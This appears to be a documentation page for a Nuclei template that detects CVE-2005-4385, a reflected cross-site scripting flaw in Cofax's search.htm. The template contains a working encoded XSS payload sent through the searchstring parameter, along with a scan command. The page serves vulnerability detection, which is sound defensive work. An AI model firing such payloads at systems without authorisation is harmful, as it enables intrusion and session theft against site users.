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Cofax <=2.0RC3 - Cross-Site Scripting

ID: CVE-2005-4385

Severity: medium

Author: geeknik

Tags: cve2005,cve,cofax,xss

Description

Section titled “Description”

Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2005-4385


info:
  name: Cofax <=2.0RC3 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor.
  reference:
    - http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
    - https://nvd.nist.gov/vuln/detail/CVE-2005-4385
    - http://www.vupen.com/english/advisories/2005/2977
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2005-4385
    cwe-id: NVD-CWE-Other
    epss-score: 0.00294
    epss-percentile: 0.68633
    cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cofax
    product: cofax
  tags: cve2005,cve,cofax,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'>\"</script><script>alert(document.domain)</script>"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2005/CVE-2005-4385.yaml"

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